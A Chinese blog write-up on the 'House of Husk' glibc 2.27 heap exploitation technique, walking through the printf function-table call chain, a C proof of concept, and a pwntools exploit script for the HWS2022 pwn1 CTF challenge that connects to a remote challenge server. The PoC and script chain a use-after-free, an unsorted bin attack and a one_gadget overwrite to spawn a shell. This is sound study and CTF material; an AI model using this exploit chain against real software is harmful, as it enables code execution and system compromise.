house of husk
LOLOLO Lv3

House of husk

挺早的时候就知道这个技术了,但是一直没去仔细学,直到HWS2022的比赛当中,pwn1又用到了该手段,所以来仔细学习一下

攻击原理

该方式主要是利用了printf的一个调用链,同时还需要存在UAF

通过查看其他师傅的文章和源码分析。在printf使用的时候,该函数会根据我们的格式化字符串的种类来进行输出, 在GLIBC中有这样一个函数__register_printf_function,为格式化字符spec的格式化输出注册函数,这个函数是__register_printf_specifier函数的封装。

__register_printf_specifier源代码如下(libc-2.27.so)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int
__register_printf_specifier (int spec, printf_function converter,
printf_arginfo_size_function arginfo)
{
if (spec < 0 || spec > (int) UCHAR_MAX)
{
__set_errno (EINVAL);
return -1;
}

int result = 0;
__libc_lock_lock (lock);

if (__printf_function_table == NULL)
{
__printf_arginfo_table = (printf_arginfo_size_function **)
calloc (UCHAR_MAX + 1, sizeof (void *) * 2);
if (__printf_arginfo_table == NULL)
{
result = -1;
goto out;
}

__printf_function_table = (printf_function **)
(__printf_arginfo_table + UCHAR_MAX + 1);
}

__printf_function_table[spec] = converter;
__printf_arginfo_table[spec] = arginfo;

out:
__libc_lock_unlock (lock);

return result;
}

概括来说就是,如果格式化字符大小超过0xff或者小于0,则返回-1,否则判断__printf_function_table是否为NULL,假如为NULL则用calloc来申请堆存放 _printf_function_table和_printf_arginfo_table。

调用链

当function_table不为NULL时,调用链如下

printf->vfprintf-> printf_positional

最后会调用 printf_positional如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
     while (1)
{
extern printf_function **__printf_function_table;
int function_done;

if (spec <= UCHAR_MAX
&& __printf_function_table != NULL
&& __printf_function_table[(size_t) spec] != NULL)
{
const void **ptr = alloca (specs[nspecs_done].ndata_args
* sizeof (const void *));

/* Fill in an array of pointers to the argument values. */
for (unsigned int i = 0; i < specs[nspecs_done].ndata_args;
++i)
ptr[i] = &args_value[specs[nspecs_done].data_arg + i];

/* Call the function. */
function_done = __printf_function_table[(size_t) spec] <---------------最后调用到这里
(s, &specs[nspecs_done].info, ptr);

if (function_done != -2)
{
/* If an error occurred we don't have information
about # of chars. */
if (function_done < 0)
{
/* Function has set errno. */
done = -1;
goto all_done;
}

done_add (function_done);
break;
}
}

POC

这里学习到了申请size可以设为两者之间的偏移之差

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
/*
* This is a Proof-of-Concept for House of Husk
* This PoC is supposed to be run with libc-2.27.
*/
#include <stdio.h>
#include <stdlib.h>

#define offset2size(ofs) ((ofs) * 2 - 0x10)
#define MAIN_ARENA 0x3ebc40
#define MAIN_ARENA_DELTA 0x60
#define GLOBAL_MAX_FAST 0x3ed940
#define PRINTF_FUNCTABLE 0x3f0738
#define PRINTF_ARGINFO 0x3ec870
#define ONE_GADGET 0x10a41c

int main (void)
{
unsigned long libc_base;
char *a[10];
setbuf(stdout, NULL); // make printf quiet

/* leak libc */
a[0] = malloc(0x500); /* UAF chunk */
a[1] = malloc(offset2size(PRINTF_FUNCTABLE - MAIN_ARENA));
a[2] = malloc(offset2size(PRINTF_ARGINFO - MAIN_ARENA));
a[3] = malloc(0x500); /* avoid consolidation */
free(a[0]);
libc_base = *(unsigned long*)a[0] - MAIN_ARENA - MAIN_ARENA_DELTA;
printf("libc @ 0x%lx\n", libc_base);

/* prepare fake printf arginfo table */
*(unsigned long*)(a[2] + ('X' - 2) * 8) = libc_base + ONE_GADGET;
//now __printf_arginfo_table['X'] = one_gadget;
//*(unsigned long*)(a[1] + ('X' - 2) * 8) = libc_base + ONE_GADGET;
/* unsorted bin attack */
*(unsigned long*)(a[0] + 8) = libc_base + GLOBAL_MAX_FAST - 0x10;
a[0] = malloc(0x500); /* overwrite global_max_fast */

/* overwrite __printf_arginfo_table and __printf_function_table */
free(a[1]);// __printf_function_table => a heap_addr which is not NULL
free(a[2]);// => one_gadget

/* ignite! */
printf("%X", 0);

return 0;
}

POC分析

这里使用的poc就直接用攻击发现者提供的源代码,运行环境为ubuntu 18.04/glibc 2.27,编译命令为gcc ./poc.c -g -fPIE -no-pie -o poc(关闭pie方便调试)。

代码模拟了UAF漏洞,先分配一个超过fastbin的块,释放之后会进入unsorted bin。预先分配两个chunk,第一个用来伪造__printf_function_table,第二个用来伪造__printf_arginfo_table。将__printf_arginfo_table['X']处的函数指针改为one_gadget

使用unsorted bin attack改写global_max_fastmain_arena+88从而使得释放的所有块都按fastbin处理(都是超过large bin大小的堆块不会进tcache)。

在这里有一个很重要的知识就是fastbin的堆块地址会存放在main_arena中,从main_arena+16开始存放fastbin[0x20]的头指针,一直往后推,由于平时的fastbin默认阈值为0x80,所以在glibc-2.23的环境下最多存放到main_arena+0x48,现在我们将阈值改为0x7f*导致几乎所有sz的chunk都被当做fastbin,其地址会从main_arena+8开始,根据sz不同往libc覆写堆地址。如此一来,只要我们计算好__printf_arginfo_tablemain_arena的地址偏移,进而得到合适的sz,就可以在之后释放这个伪造table的chunk时覆写__printf_arginfo_tableheap_addr

有了上述知识铺垫,整个攻击流程就比较清晰了,总结一下,先UAF改global_max_fast为main_arena+88,之后释放合适sz的块到fastbin,从而覆写__printf_arginfo_table表为heap地址,heap['X']被覆写为了one_gadget,在调用这个函数指针时即可get shell。

HWS PWN1

EXP( 复制 Mark0519 师傅的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
# -*- coding: utf-8 -*-
from pwn import *
context(os='linux',arch='amd64')
context.log_level = 'debug'
libc = ELF('./libc-2.27.so')
elf = ELF("./pwn")

local = 0
if local:
# p = process("./pwn")
p = process("./pwn",
env={"LD_PRELOAD":"/home/sjj/glibc-all-in-one/2.27-3ubuntu1.2_amd64/libc-2.27.so"})
else:
p = remote("1.13.162.249","10001")

def log(addr):
print("[*]==>"+hex(addr))

def offset(num):
return num*2

arginfo = 4114544 # __printf_arginfo_table
function = 4130392 # __printf_function_table

main_arena = libc.sym['__malloc_hook']-0x10
size_1 = offset(arginfo - main_arena)-0x50
size_2 = offset(function - main_arena)-0x50
log(size_1)
log(size_2)
# gdb.attach(p)
p.sendlineafter("big box, what size?",str(size_1))
p.sendlineafter("bigger box, what size?",str(size_2))
p.sendlineafter(" rename?(y/n)","y")
p.recvuntil("Now your name is:")
addr = u64(p.recvuntil('\x7f').ljust(8,"\x00"))
log(addr)
libc_base = addr-libc.sym['__malloc_hook']-0x10-96
log(libc_base)
global_max_fast = libc_base + 4118848
ogg = [0x4f365 ,0x4f3c2 ,0x10a45c]
one_gadget = libc_base +ogg[2]
log(one_gadget)

payload = "a"*8*(ord('s')-2) + p64(one_gadget)*2
# gdb.attach(p)
p.sendlineafter("please input your new name!",p64(0)+p64(global_max_fast-0x10))
p.sendlineafter(" box or bigger box?(1:big/2:bigger)",str(1))
# gdb.attach(p)
p.sendlineafter("Let's edit,",payload)

p.interactive()

参考文章

Mark0519

xmzyshypnc

  • 本文标题:house of husk
  • 本文作者:LOLOLO
  • 创建时间:2022-03-08 15:43:51
  • 本文链接:https://lololo-pwn.github.io/2022/03/08/house-of-husk/
  • 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
 评论